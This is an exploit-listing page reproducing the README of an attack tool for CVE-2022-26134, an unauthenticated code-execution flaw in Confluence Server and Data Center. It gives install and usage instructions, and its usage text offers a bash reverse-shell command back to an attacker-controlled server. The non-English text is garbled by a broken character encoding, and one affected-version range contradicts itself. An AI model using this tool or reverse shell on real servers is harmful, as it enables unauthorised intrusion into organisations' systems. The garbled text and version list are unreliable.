Sploitus

Exploit for CVE-2022-26134

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KEVEN1Z-CVE-2022-26134
# CVE-2022-26134

рджреВрд░рд╕реНрде рд╣рдорд▓рд╛рд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдмрд┐рдирд╛ OGNL рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ, Confluence Server рдпрд╛ Data Center рдкрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, poc рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ getshell рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред рд╕рд╛рдорд╛рдиреНрдп рдкреЛрд░реНрдЯ: 8090

## рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

  * Confluence Server and Data Center >= 1.3.0
  * 7.14.0 <= Confluence Server and Data Center < 7.4.17
  * 7.13.0 <= Confluence Server and Data Center < 7.13.7
  * 7.14.0 <= Confluence Server and Data Center < 7.14.3
  * 7.15.0 <= Confluence Server and Data Center < 7.15.2
  * 7.16.0 <= Confluence Server and Data Center < 7.16.4
  * 7.17.0 <= Confluence Server and Data Center < 7.17.4
  * 7.18.0 <= Confluence Server and Data Center < 7.18.1



## рдЙрдкрдпреЛрдЧ рдирд┐рд░реНрджреЗрд╢

root@kitploit:~
    
    
    pip3 install requests
    

root@kitploit:~
    
    
    	   ______     _______     ____   ___ ____  ____      ____   __   _ _____ _  _   
      / ___\ \   / | ____|   |___ \ / _ |___ \|___ \    |___ \ / /_ / |___ /| || |  
     | |    \ \ / /|  _| _____ __) | | | |__) | __) _____ __) | '_ \| | |_ \| || |_ 
     | |___  \ V / | |__|_____/ __/| |_| / __/ / __|_____/ __/| (_) | |___) |__   _|
      \____|  \_/  |_____|   |_____|\___|_____|_____|   |_____|\___/|_|____/   |_|  
        
    usage: CVE-2022-26134.py [-h] -t TARGET -c COMMAND
    
    CVE-2022-26134
    
    optional arguments:
      -h, --help            show this help message and exit
      -t TARGET, --target TARGET
                            чЫоцаЗURL
      -c COMMAND, --command COMMAND
                            цЙзшбМхС╜ф╗д(execute command),get shell:/bin/bash -c bash -i >& /dev/tcp/{vps ip}/{vps port} 0>&1